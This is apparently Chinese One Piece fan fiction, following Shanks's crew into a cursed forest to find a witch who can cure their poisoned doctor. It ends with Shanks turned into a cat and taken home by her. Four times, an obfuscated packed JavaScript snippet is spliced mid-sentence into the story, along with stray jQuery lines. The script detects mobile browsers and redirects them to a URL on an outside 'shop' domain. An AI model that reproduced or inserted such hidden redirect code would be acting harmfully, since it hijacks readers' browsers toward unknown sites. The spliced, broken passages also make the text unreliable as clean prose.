《[海乙/红团]龙卷风摧毁伟大航路》
1. 有去无回之森(一)
登陆帕帕哈瑙的头一天夜里,雷德弗斯号上发生了一件大事。
本乡病倒了。
这个身体健壮的小伙子身为新晋四皇船上的骨干成员,暂不提经历过无数惊涛骇浪,在这片大海上也算是身经百战,却在登陆一个普通春岛的头一天夜里,堪称离奇地发高热倒下了。
“逊诶,还船医呢。”莱姆琼斯揶揄着。
“是感冒吗?不是说只有笨蛋才会感冒吗?”耶稣布反身坐在椅子上,手臂搭在椅背上。
“我听过的版本是只有笨蛋才不会感冒,所以由此可得本乡不是笨蛋。”航海士斯内克颇为严肃地推断道。
“你们能不能……别看戏了…….”本乡断断续续地喘着气,下午他趁自己还有点力气时,自己量了□□温,那时候已经烧到41度了,现在估计只高不减。
“该不会是经常敞着衣服,所以着凉了的缘故吧?”本克宾治拽了拽病床被角,猛士达跟着学他的动作。
“老天,怎么办?从来没见你病过,本乡,你千万别死了啊!得去找船医,船医…..”噶布手忙脚乱地东张西望。
“船医这不就在这躺着呢,”路有点无奈,大骨棒也忘了啃。“本乡,你还有力气自己治自己吗?”
船上干部绕着医务室病床堵成一圈围着自己,叽叽喳喳地讲话,本乡不知道该说什么,他很想摇头,但脑袋大概有点烧迷糊了,他也不清楚自己究竟在点头还是摇头。
“待会下船上岸去找找医生,虽然已经晚了,但镇中心应该还可以找到出夜诊的。”贝克曼拍定了主意,顺手把烟掐了,他忽然记得病房里好像不能抽烟。
“我去找吧,”香克斯自告奋勇,一半是想给本乡找医生,一半是自己也想去岛上看看,“等本乡康复了,大家再开宴会。”
直到这个时候,他们尚且觉得这只是一件航行中的小事,船员伤风感冒头疼脑热在他们这艘船上虽不常见,但有那么一两回也算是情理之中,只要能找到医生———
“我治不了。”头发灰白的医生说。
“什么?!!”一群人几乎是异口同声地惊呼出来。
船窗外夜风刮得厉害,黑色的旗帜猎猎作响,已经将近凌晨了,医生一番诊疗过后宣布了令人心碎的结果。
“他这不是感冒,他这个症状,是中毒了,从今天开始算,最多再能活七天。”医生摘下老花镜,捏捏眉心。
“我估计这个小伙子白天的时候去过卢阿坑洞,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261272|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个地方是以前先民祭祀的遗迹,连我们本地人都不敢去的,邪门得狠,但凡去过的人,回来不出七天全死了,我们管它叫七日病,推测是遗迹里未知的病毒引起的。”医生惋惜地看了眼躺在床上的年轻人,“不传染,但也没有特效药。”
“难道再没有别的办法了吗?医生。”香克斯面色晦暗地站在众人身前,眉毛拧在一起,“不管是钱还是财宝我们都……”
哪怕是立刻起航去其他国家医治,七天连一半航程都走不完。
“这不是钱的问题,是我们无能为力。”医生继续说:
“你去找巫女吧,红发船长。”
“巫女?”
“对,我们岛上唯一一个七日病康复的人,就是她治好的。”医生转了话头,继续说:
“但也别报太大希望,那个女人脾气古怪得很,一直以来都一个人隐居在西边的森林里,一年到头也不出来一次,只要她不想现身,谁都找不到她。”
“我们会去找到的。”香克斯眼神坚定,“她住在哪?西边的…..?”
“你们去岛西边儿打听一下就能知道了,那是一片、”医生顿了一下,不知该不该说出口:
“一片有去无回的森林。”
2. 有去无回之森(二)
“你们还真要去啊?”
赶车的车夫是一个质朴的本地青年,帕帕哈瑙这座岛面积广阔,从雷德弗斯停留的东边港口赶到西边森林入口最快的方式是乘坐马车。
“关系到船上伙伴的生命,哪怕那座森林里下刀子我们也去。”
红发的船长靠在马车围挡的木板边缘,腰间佩刀的金属刀柄闪着光。
尽管车夫对大海上的那些事情关心甚少,但这个船长看上去倒像是个厉害角色。与他同行的还有几个男人,其中两个人配枪,一个金色长发扛着棍子的海贼,还有一个光头,肩膀上趴着……一只猴子?
“进去那片森林里的人就从来没有活着出来过的。船长,不是我多嘴,住在那片林子里的巫女,不,应该说是魔女,她性情凶残又古怪,人们都讲她与魔鬼达成了协议,听说她会变成乌鸦,”车夫甩了一下马鞭子,继续讲:
“她还会吃人!船长,你知道吗?她把进去那片森林的每个男人都吃了,连骨头也不剩下。闯进那里的人最后连尸骨都找不到。”
红发的船长挑了下眉,不仅没被吓到,反而倒像来了兴趣似的:“是吗?是只吃人的怪兽?还能变乌鸦?挺有意思的,更想看看了。”
“你还了解什么别的消息吗?”大副接着他们船长的话问,他的枪就斜靠在马车木板上。
“我对她了解的不多,但她绝对不是个好东西。我可以肯定,她不仅会杀死和吃掉男人,还会蛊惑我们这的妇女……”
“她蛊惑妇女干嘛?”
“蛊惑妇女做一些……出格的事情,一定都是她指使的!”车夫愤愤地咬着牙。
远远地已经能看到森林青白的轮廓,离森林入口越来越近了。车夫不敢再讲话,就好像在忌讳什么禁忌一样,紧绷着身体闭上嘴。
“到了,船长。从这里进去,这儿进去的路好认一些,但出来可就不能保证了……”马车夫下了车,用手里鞭子指着入口。
“谢啦,小伙子。”红发的船长带头跳下了车,一行人各自捞起手里的家伙,身影逐渐被密林的穹顶所吞没。
————————————————
“咱们进来有多长时间了?”莱姆问,另一边用棍子扫开密集的灌木,叶子沙沙地响。
“有两个小时?这林子是真够大的。”本克宾治抬头看看猛士达,猴子在密林的树梢自由地荡来荡去,“不过猛士达倒是很开心。”
“什么「有去无回的森林」?说着倒是可怕,走到现在我看也没发生什么。那女人真住在这种地方?”
“别掉以轻心,莱姆。”贝克曼说话的时候眼神盯着周围的灌木,差不多已经长到他膝盖的位置,“总觉得不太对劲。”
“哪里不对?”
“这片森林的生态系统,简直就像在排斥我们一样。”香克斯停下了脚步,“咱们走过的路,那些植物已经变得跟刚才不一样了……是森林地形自己在变?”
“耶稣布,”香克斯转过头,“应该还能感受到她的位置吧。”
“可以。哪怕地形一直在误导我们,跟着见闻色的感觉走就可以了。”这位狙击手侧过身,“这地方确实有活人在,如果她真是那个巫女的话,她应该也能感觉到我们在靠近了吧。头儿,你打算怎么办?”
“继续走吧。”
刚说完这句话,香克斯感到有一阵强烈的视线,从高处直直盯视着他。
他抬头向视线来源的树梢望去,那是一只纯黑的乌鸦。
顺着杉木林再向前走一个小时,树林尽头靠向岩石壁的一边有一个几乎是两个成年人臂展宽的石刻祭坛,石雕像左右各立一个,大约五米多高,看不出刻的是什么,石头缝里覆着一层苔藓。
“咱们快到了,头儿。不过这是干嘛的?”耶稣布用枪杆试着敲了一下雕像,没有反应。
“这雕像刻得像个长了猴子脸的人。”本克宾治说,猛士达蹦到他肩膀上表示赞同。
“我看倒像是长了狗脸的人。”莱姆补充。
“不觉得更像是长了张猫脸的狗吗?——咱们上去看看好了。”
香克斯刚准备抬脚踏进祭坛的石板,就在那一瞬间,一根箭矢嗖地穿过茂密的叶片射过来,钉在他脚边一步之内。
“滚出去!”
猛然奋起的一声呐喊,不像是人类的叫喊声,倒像是鸟类?……是乌鸦?香克斯反应过来,刚才的那一箭是警告吗。
一行人迅速提起精神,捞起武器做备战状态。
“等等,等等。”香克斯向身后摆摆手,示意他们把刀枪和棍子暂时放放。
“啊呀,”香克斯退回了本该迈出去的那一步,“你一定就是巫女小姐吧。突然来访实在是打扰了。”
他盯着祭坛其中一座石像后面的一朵树冠,哪怕不用见闻色也可以看到,隐约有个人影蹲在那里,只是看不清脸。
“我们是从海上航行来这儿的,来这里绝对没有冒犯你的意思。我可以保证——”
尽管此刻的气氛并不友好,香克斯尽力给出了一个友好的笑容,无论航行到哪里,跟当地土著打交道总归不是一件容易事,他只希望笑容在她这里没什么不好的文化含义。
“我可以保证,我们绝对没有恶意。只是我们的一个重要的同伴生了病,听说那种毒只有你能治,你愿意帮帮我们……”
“帮帮我们医治好他”这句话甚至还没说完整呢,另一发箭矢,比着刚才更迅疾的速度——直冲他的脑袋。
锵一声,格里芬尚未出鞘,香克斯反手抬刀用刀鞘挡掉了。
“滚出去!”
更多的乌鸦盘旋在密林上空,乌泱泱地盖住了本不明亮的天空。沙哑的鸟类呜喳声反复着同一句话:
“滚出去!”
真是一位脾气暴躁的小姐。
“头儿。”贝克曼在身旁喊了他一声,香克斯知道他要说什么。
要用霸气吗?在这儿?现在?那样的话恐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261273|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕更难获得这位巫女的信任——何况他才刚刚表达出友好呢,如果不是万不得已,他也不想做到那种程度。
乌鸦的叫喊一声高过一声,原先祭坛两边的石像开始震动——那两座石像就像活过来了一样,石像举起武器,朝他们一行人砍劈过来。
“交给我们。”莱姆琼斯蹬身上前,从空中发力击打石像的头部,本克宾治顺势牵制住另一座石像。
“她要跑了,头儿,去追吗?”耶稣布问。
她的身影趁乱向东面溜走了。
“追!”
虽说要追,可这气氛却像在追逐敌人一样,这对吗?他们本来是为了请对方帮忙的。尽管此时氛围似乎已经不妙到某个极点,香克斯还是决定说点什么。那句话怎么说来着?不要放弃沟通。
“喂~~巫女小姐,我们只是想拜托你帮我们救人,我们真的没有恶意,你快别跑了——”
没有恶意……?鬼才信你们!
另一边,被称作“巫女”的女孩已经在心里暗骂他们一千遍了,尤其对那个带头的红头发大叔。
她本来一个人远离人群在这座森林里面日子过得好好的,炖炖蘑菇,煮煮魔药,研究一些自己喜欢的东西,还养了些鸟一起生活,最重要的是,谁要是敢来打扰她平静的生活,就把谁弄死。
她都已经主动躲进这种深山老林里住了,还要她怎样?总是有不长眼的人要跑到林子里杀死她养的动物,盗走她的魔药,甚至把讨伐不合群的神秘巫女当作成为英雄的荣誉,冒险的荣光,男人的浪漫?她光是想想都要吐了!
每次有这种不长眼的人闯进森林里,如果是女人小孩就用石像鬼吓跑,如果是男的就直接弄死!叫你们浪漫!
“快别跑了——,我们只是想拜托你救救人——”
拜托我救人?又是一个拙劣的借口,谁会信你们这些从大海上来的强盗?至少我绝对不会再上当了!
可总这么逃下去也不是办法,她想。
由红头发带头正追赶着她的这群人,比以往那些前来讨伐她的冒险家、海贼或者雇佣兵都要厉害很多,不仅击碎了她操控的石像鬼,更重要的是——
这些人不知道怎么回事,能不受森林地形变幻的影响,每次都准确锁定她的位置。而且……
追的速度也太快了吧,她已经快要跑不动了。
不跑了!
她愤愤地刹住脚步,转头瞪向身后,那群海贼正往这边赶来,紧咬着她的位置不放,嘴里还喊一些求她帮忙和让她别跑了的鬼话。带头的那个人,红色的头发像火焰一样,在森林枝叶的缝隙中燃烧。
必须在这里把他们想办法解决掉,不管用什么手段,她想。
她感到自己握着巫杖的双手在微微颤抖,她有一种感觉,就像她即将面对的不是一群人类,而是一群足够吃掉她的强大的野兽,和她的距离越来越近了。
不能怕、不能怕。
她必须要捍卫自己的生活!
3. 有去无回之森(三)
起雾了。
乌鸦四散而去后,森林上空飘起了稀疏的雨丝。
香克斯停下脚步。很奇怪,那个女孩的气息就好像随着雾气散去了一样,用见闻色也感知不到。
“起雾了。这也是她干的?”
贝克曼招呼后面的人跟上,霍然在密林里涌起的浓雾,可见度急剧下降,这时候分散开反而有危险。
“她的花招还挺多的。接下来是什么?”
又出现了?!在前面。不,左右都有?巫女应该只有一个人吧。
白雾缭绕的深处,浮现了许多影影绰绰晃动着的身影,不断将他们围住,在见闻色所能触及的地方,她的气息出现在每一处。
那些身影纷纷向他们走近,从四面八方而来。女子的身形,头上都罩着一顶木雕的鹿角面具,鲜红和青白的繁琐符文互相缠绕,在雾气中格外扎眼。
她们的身影交错,像森森的幽鬼一样,纷至而来将一行人围住。
“海贼,从森林里滚出去。”
这次是一位女子的声音,冷淡而审慎地向他们警告,每一个字都听得清楚。
原来她会说话啊,香克斯想。之前一直都是鸟在替她说话,他还以为她不会讲他们的语言。
她的声音其实挺好听的,在来的路上马车夫的那番话,一度让香克斯猜测巫女本人的声音也许会像海王类的叫声一样粗犷和凶猛。
那些影子里的其中一个巫女抬起手,露出了斗篷下闪着尖利银光的匕首,她抬起刀刃,猝然向香克斯心口突刺。
她近身的速度很快,比他预想的更快,香克斯向右闪身,刀刃与他擦身而过,他挥右手去捉她持刀的手腕,就在触碰到她手臂的前一刻,身侧的另一个巫女伺机而动,反手持刀调转匕首,朝向香克斯的右手臂横砍而来。
横砍的动作未能完成,匕首被敲飞出去而脱手,贝克曼在她起手之前挥起枪托拍掉了她的武器,她也因失去重心而踉跄向后。
“贝克,我抓到———诶?”
香克斯刚想说他成功抓到了一开始攻击他的那个巫女,却发现他握住的手腕不知在何时变成了一簇缠绕的树蔓。
“什么时候变的?会用木头变分身出来,她难道其实是忍者吗?”但也没见她施术的时候念“忍忍”出来,和故事里的忍者不一样。
在雾中的这些身影里面,应该只有一个是真的。
“看来她是劝不住的。”贝克曼一面讲话,同时用枪身挡住了来自正前方的另一轮突刺,“来硬的吧,不管怎么样,先抓住她。”
他顿了一下,又对香克斯补充:“注意分寸。”
“当然。”
霎时霸王色铺开,一种无形的力量压制住了森林,木质鹿角面具碎裂,应着面具的崩裂,四旁的巫女一个接一个身体化作树蔓倒下,直到气势冲尽,留下最后一个,站立在白雾之中。
这下真是完蛋了。她想。
这个红头发的男人,不知道哪来的气势,给她施术所佩戴的鹿角面具留下了裂痕,虽然没有毁掉,但暂时也不能用了。
果然还是要跑吗?可是,她还能跑去哪里呢?
从伊瓦图跑到马努卡湾,又从马努卡湾跑到帕帕哈瑙,这个世界到底还有哪里能够接受她,能够允许她这样的人,一个人平静地生活?
她的双手越攥越紧,骨节发白,指甲几乎要嵌进手心。
不甘心,真是不甘心。
为什么总有人抓着她巫女的身份不放?为什么总把一个人从没做过的事情归罪到巫女头上?
她的手又渐渐放松下来,“有罪”的念头在她脑海里闪过了一瞬。在此前的某些时刻,这样的想法也曾出现过许多次。
不行!我要跑!
她猛然转过身,背向那群海贼,迈步逃跑。
哪怕不知道去哪里也要跑,哪怕没有力气了也要跑,她绝对不要被海贼抓住。她知道后果,也知道海上那群强盗的秉性。她要跑,死也不要被抓住。
“砰!”
一发子弹,堵住了她原本逃跑的去路,是那群海贼的狙击手。
她霍然向后闪身躲避子弹,后背却撞上了另一个人的胸口,她扭头一看,是腰带上别着燧发枪,头发灰白的男人。
她吓得心里一惊,刚想有所反应,双手却被他猝然擒在身后。
“不要乱动,胳膊会断。”贝克曼轻声劝告正在他身前的剧烈挣扎小姑娘,虽然她完全听不进去就是了。
这帮子海贼力气大得要死。她脑中一片空白,心脏吵闹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261274|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得快要跳出胸腔,就好像被狮子紧咬喉咙的猎物那样,身体只剩下求生的本能。
她转头向前看,红发的海贼正向她一步一步靠近。
危险,很危险。她有一种直觉,就好像向她靠近的那个海贼并不是一个人,而是一头有理智的野兽,一头爪牙锋利的狮鹫兽——不知为何她想起了那种动物,曾给她留下过同样的恐慌和威胁。
红发的海贼走到她面前,蹲下身,高度的改变让他的视线稍微少了些压迫感,但对她而言依旧很糟糕。
她的心脏跳得厉害,被两个比她高大很多的海贼夹在中间的感觉一点也不好,这让她感到了十数年来前所未有的威胁。她必须要做点什么,必须、必须要……
“我们来这里没有恶意,只是想要拜托你救救我们的伙伴,你愿意来我们船上吗?”
她听到红发的海贼对她说。尽管是询问,但听上去似乎没有拒绝的选项。
贝克曼在身后扣着她的手腕,他能感到从刚才开始,这个姑娘的手就一直颤抖得厉害。
“你吓到她了,香克斯。”贝克曼对他的船长说,随即又低头对她解释:“小姐,你冷静下来听我说,我们其实……”
“等等,贝克,她好像在说话。”香克斯打断他,他听见这位巫女小姐似乎正在呢喃什么。
“ Vyr、ael、thanduil……”
“她在说什么?贝克,你听得懂吗?”
这位巫女似乎稍微冷静下来,不再挣扎了,贝克曼低头靠近她去听,她真的在念叨着一些陌生的语言,他也听不懂。
“Caelthas、dolen falas,”
“头儿!”远处,耶稣布忽然向他们大喊:
“赶快离开她!———”
“gwannath……anuir!!”
“———大地在动,要地震了!”耶稣布的话香克斯没能听到最后,因为在他面前,巫女在呢喃完那一串陌生的语言之后,对他清清楚楚、明明白白地说了一句话:
“我的意思是,你们这些强盗,都给我下地狱去吧!”
转瞬间,一阵猛烈的白光炫目,树木像蛇一般盘绕起舞,耳边刮起刺耳的蜂鸣。
大地在震颤。
4. 变形术(一)
回过神来的时候,森林里的浓雾已经消散了。
天气转晴,阳光勾勒出树梢金色的轮廓,这片再次空寂下来的树林,只有树叶彼此摩擦的扑簌声,和青鸟清脆的鸣叫。
香克斯是被林中的鸟叫声唤醒的。他睁开眼睛的时候,发现自己躺在一棵树的旁边,左右看了看,一个人也没有。
既没有巫女,也没有自己的同伴。
他睁开眼睛之后,先是耳鸣了一阵,而后又开始头痛,不是被击打的那种痛,更像是宿醉后的偏头痛。
香克斯还记得眩晕之前巫女对他说的最后一句话,所以他现在是在地狱?还是在天堂?
但他感到自己的心脏还在胸腔里跳动,所以他觉得自己还是活着的。
但是,那到底是什么能力呢?香克斯很确定,她使用的并不是任何一种形式的霸气,但为什么会有这种效果,甚至连他自己也中招了。
真是不能小瞧啊,既然她是巫女的话,难道用的是巫术?操纵石像、用木头做分身、莫名其妙的法术使人眩晕、这姑娘到底还有多少花招。
他在地上躺了一会儿,耳鸣和偏头痛并没有缠绕他太长时间。
他打算抬起手揉揉脑袋,顺便起身拍拍身上的草和土。
然而,手部有种很奇怪的触感。
手怎么了?
手?
不对?
怎么是猫爪子?
我的手怎么变成猫爪子了?
他迅速跳起身,后知后觉,不是自己的手变成猫爪子,而是自己整个变成了一只猫。
啊啊啊啊啊啊?!
本来在心中震惊的叫声,脱口竟也变成了猫叫:
“喵嗷嗷嗷嗷嗷?!”
————————————————
另一边,贝克曼睁开眼睛的时候只觉得背很痛,好像身底下硌着一类坚硬的金属。
他坐起身,视线还有点模糊,耳鸣,但没有受伤。
这是在哪儿?他抬眼看看,头顶炽烈的阳光刺得他眼睛痛,已经是中午了吗?
“哎、哎哎、你们这群人,在别人家的屋顶上躺着做什么?”
一位身披开衫外衣的老妇人扎着木梯出现了,她右手挥舞着一根扫把,向屋顶的不速之客比划着。
“一群醉汉!大白天的就倒在别人家屋顶上,不像样子!你们再不走我可叫人来了!”
屋顶?他低头看看,确实是红片的砖瓦,人群和马车喧杂的噪声钻进他的耳朵。
贝克曼这才发觉,他已经不在森林了,他现在正坐在城镇一户人家的屋顶上,还把别人家屋顶的晾衣架压倒了———怪不得硌得他背痛。
他转头左右观察,耶稣布倒在烟囱旁边儿,莱姆趴倒在屋檐边上,差一点儿就要从房顶上滑下去了,宾治倒在隔壁房子的屋顶上,没看到香克斯和猛士达。
“抱歉,女士,给你造成麻烦了。”
贝克曼在摇醒同伴和从屋顶翻身下去之前,顺手把倒了的晾衣架也给扶起来了。
所以,现在究竟是怎么个情况?
剩下的这四个人在各自头痛平复之后开始对帐。
眩晕之前他们应该还在森林里没有错,怎么醒来之后忽然转移到城镇里了?还有,船长跑哪儿去了?猛士达也不见猴影。最重要的是,巫女没给带出来,本乡要怎么办?
一想到这些,本来已经不痛的头又开始痛了。
一件一件解决吧,副船长揉着太阳穴,无奈地做以总结。
————————————————
好险。
老天娘啊,真是好险。
她瘫坐在地上,腿已经卸了力气,胳膊痛得厉害。即使那些海贼已经在她面前消失不见了,她还是好一阵子都缓不过来。
她用来施术的鹿角面具已经彻底开裂了,木头碎片簌簌剥落在地上,和草木混在一起。
她索性把面具摘下来,反正已经用不了了。
方才她吟唱的咒语,能够排除森林外来者的生命。但她用来施术的鹿角面具在早些时候就被那个红头发海贼用不知道哪来的气势震出了裂痕,也许咒语的效果也会因此产生偏差?她不知道。
如果受到影响的话,最坏的结果是咒语没有全生效,搞不好那帮海贼还活着,只是被排斥在森林之外的某个角落——谁知道呢?
如果他们的性命没有被巫术剥夺的话,没准儿就会卷土重来。
到那时要怎么办?故技重施?可他们实力很强,也许几个人配合就有了对策。
她抬头望着天,正午瓦蓝的天空,被森林里高大的树冠挤成各种形状。
唉——干脆我也变成树好了。她有点自暴自弃地对自己想,就像月桂之神达芙妮。
正放空的时候,一阵不知从哪里传来的动物的惨叫把她拉回了现实:
“喵嗷嗷嗷嗷嗷?!”
一片群鸟惊吓飞逃。
什么东西在叫?
她循声而去,为了找声音来源费了些功夫,最终在一棵树旁的草丛里听到了声音。
她拨开灌木丛,小心翼翼地探头看去———
一只红色皮毛、眼睛上有三道抓痕的小猫,就那样窝在草丛里。
“喵嗷嗷嗷嗷、哈!”小猫尖叫,小猫哈气。
“哇啊啊啊啊!妈呀。”人尖叫,人感叹。
虽然双方都对“有什么东西要靠近自己”有了些心理准备,但真正看到对方的时候着实也吓了一跳。
是、是小猫!竟然是小猫!这里竟然会有小猫?!
香克喵瞪大了眼睛,同样谨慎地上下打量起她。
哪来的女孩子?这种山野老林怎么会有女孩?不、不对。巫女不就住在这里吗。而且她的衣服——那件黑色的斗篷他记得,巫女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261275|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和他交战时就穿着这身。
香克喵第一次仔细地观察起她。原来巫女摘下面具之后是这样的。不对、她真是巫女吗?
她的面庞很柔和,眉目清秀,跟马车夫传闻中磨牙吮血的样子一点儿也搭不上边。
她弯腰趴在地上,声音很轻地对自己说话,显得稍微有些不知所措。
“小猫,你是从哪里来的,啊,别害怕,已经没事了。”
她慌忙地在斗篷下的衣服兜里摸索,最后从腰包里掏出了一把坚果(这是她原本预备着喂鸟的)。她随身带着的吃的只有这个了。
已经没事了,已经没事了。她又重复了两遍,安慰着面前的小猫,又像是说给自己听的。
欸……这什么、坚果吗?
香克喵探出鼻子嗅闻,变成猫之后,他感到自己的嗅觉也跟着放大了好几十倍。
应该没有毒吧。
香克喵内心在怀疑,嘴巴却已经早早开始咀嚼了。
咔嚓咔嚓。好脆、好香。
不不对,现在根本不是自己填饱肚子的时候吧。本乡还在受苦,贝克他们也不知道跑哪里去了,他们也像自己一样被变成动物了吗,还是说……
香克喵担心的同时大口炫饭。
“已经没事了。”巫女也坐在地上,和香克喵并排在一起,对着红毛小猫自言自语。
“你一定是被那些海贼一起带到这里的吧。”
听到“海贼”两个字,香克喵抬起脑袋,猫耳朵跳了一下。
巫女伸出手尝试顺毛轻轻地抚摸小猫脑袋。香克喵并没有抗拒。
“已经没事了。我刚才已经用咒语把那些海贼赶跑了。”
啊,贝克他们已经离开森林了吗?他们现在还没事吗。香克喵想。
“不过,那些人下次还有可能再来。需要想想办法才行。”巫女的声音渐渐低下去,头也垂下了,她的视线和抚触顺着小猫脑袋、脖子,一路滑到它的前肢。
红色小猫的上半身没有左肢,肢体切口的断面已经愈合,看上去是陈年的旧伤痕,眼睛上也有抓伤的伤疤。
“真可怜,这是那帮海贼砍的吗?”她从以前就知道有很多海贼会用动物取乐,砍下动物的肢体就为了欣赏它们挣扎的反应。
她的手掌很温暖,一遍遍抚顺着香克喵的皮毛,香克喵觉得很受用,就连这点自己也变得像猫咪一样了吗?
“可怜的小猫,你一定经历过很可怕的事情吧。”她轻声安慰着。
对猫科动物来说,失去了前肢,在野外就意味着再也不能捕猎和存活了。
香克喵抬头,对上了她怜爱的眼神,这使他在潜意识里掀起了一种不同寻常的熟悉感,好像妈妈的眼神——但他对自己的母亲并没有什么记忆。
她又摸了摸小猫脑袋:
“小猫,你愿意和我回家吗?”
“我来养你吧。”
5. 变形术(二)
啊!有猫了!
她竟然有猫了!
这是她从前想都不敢想的事情,一只热乎乎,软乎乎的小猫。
果然巫女就是要有只猫才像话嘛!她想起了传授她巫术的老师——一位强大的巫女,也曾养过一只猫,老师的那只是黑猫。每次见到都让她羡慕得不得了。
而我的嘛……是……
呃,红色皮毛是什么品种?
她斗胆把小猫抱起来,左看右看,看不出来品种。
话说回来,为什么会有红色皮毛的猫?难道是后天染上去的吗?她用手指仔细捻捻小猫的皮毛,也不像染的啊。
而且,这只猫实在已经算不上一只“小”猫了,抱起来好长一条,沉甸甸的。
管它什么品种呢?会乖乖给人抱,实在是绝世好猫!今天虽然被那帮臭海贼吓得半死,但总也还是有好事发生的嘛。
嘿嘿、嘿嘿嘿嘿、嘿嘿…….
香克喵看到这姑娘把自己抱起来了之后,脸上就一直浮着呆呆的傻笑。
饶是香克喵,也开始怀疑,刚才那个抓着匕首就往自己身上砍还大喊让他们下地狱的巫女真的是她吗……?应该没有什么双胞胎的设定吧。
“小猫,你不挣扎我就当你同意喽?”
给了香克喵长约1秒的思考时间后,巫女立刻激动地把红毛小猫紧紧搂在怀里———
“我就知道你愿意!”
啊,刚才发生了什么。香克喵疑惑。
算了,只要跟着她,应该就有变回去的机会。
午后的太阳向西迁移,灿黄的阳光从青绿叶片的脉络中透过,把人和猫的影子拉得很长很长。太阳要落下了。
“我带你回家吧,天要黑了,”巫女看着西沉的太阳,又看看小猫,“啊,我抱你走,只有三只爪爪走路很不方便吧。”
于是她把一团猫搂起来,呃,有点沉。
沉就沉吧,毛茸茸的,好幸福,想起自己有了猫这件事,她又忍不住笑出来。
从她早先跟着老师做学生的时候就想要养一只猫,这些年来不断辗转流亡于各个岛屿,并没有养猫的机会。在帕帕哈瑙的这段日子相比以前虽然还算清净,可岛上却并没有猫这种动物。
想到这儿,她不自觉搂紧了怀里的小猫,她珍惜地看着它,就好像那是什么宝藏。
阿,对了,小猫还得有一个名字才行。
“我想到几个名字,你想叫什么?”她的声音提起了香克喵的关注,香克喵从她怀里抬头看她。
“叫咪咪?”
呃,新晋四皇私底下被女人叫咪咪,传出去大概会被道儿上的兄弟笑死吧。香克喵表示抗议。
“嗯……还是叫丧彪?”
哦哦,这个名字倒是很霸气,听上去不错。香克喵表示可以。
“还是算了,丧彪这个名字起得跟海盗一样……怪吓人的。———既然你是红色的小猫,就叫你小红红吧!”
??!
“哎哎、别乱动嘛,我快有点抱不住了。”
小红红听到新名字之后突然就扭来扭去的,她正尝试安抚住它,脚下却突然绊到了什么东西,差点儿让她失去平衡。
“这什么?”她低头看向自己脚边零落的东西。
一堆衣服散落在地上,花花的裤子、黑色披风,还有一件皱巴巴的白色衬衫,旁边压着一把很长的西洋刀——那把刀的刀鞘刚才差点儿把自己绊倒了。
这不是……刚才闯进森林里来抓她的那个海贼穿的的衣服吗?怎么在这?难道咒语失效了?他还没离开?
这姑娘怎么像突然被吓到了似的。香克喵顺着她的视线向下面看,哦!那不是我的衣服吗?格里芬也在这里。变成猫之后,之前的衣服根本穿不了了。
不、不至于。巫女一边蹲下握紧那件黑披风打量,一边思索着。这座森林里面已经确实地没有其他人类了,她感受得到。
难道是咒语起效的时候,只把那个红头发海贼本人排除了森林之外,结果衣服都留在这里了是吗。
那还真是糟糕。她稍微想象了一下那个场景,希望那个没了衣服的海贼别突然出现在市镇上或者其他人多的地方,周围人会被他吓死的。
“这些衣服要怎么办呢?拿去烧了?”白衬衫和花裤子,真是品味好差的海贼,她在心里默默吐槽。但这个披风质量倒是不错。
“算了,还是拿回去剪一剪给你做猫窝吧。”
“喵嗷——!”别把我的衣服剪了做猫窝!香克喵急得想说话,但只输出了一声猫叫。
“至于这把刀,”她提起格里芬,沉甸甸的,左右仔细打量了一番,“感觉很值钱诶,等下次有机会去市镇上的时候,卖掉换钱吧。”
“嗷呜———!”别卖我的刀!香克喵急得绕着巫女直叫唤,但愣是说不出一句人话。
“看来小红红也同意了,都这样开心地喵喵咪咪叫了。”她欣然蹭蹭小猫的脑袋,“好!就这样决定。”
她把那把刀用绳子捆捆挂在腰间,刀鞘顶端长得拖到地上,衣服和披风随便卷成一团,和小猫一起塞到怀里。
走吧,回家了。
————————————————
“督爵,依靠那些人真的行得通吗?他们可是海贼啊,大海上的一群亡命之徒。”
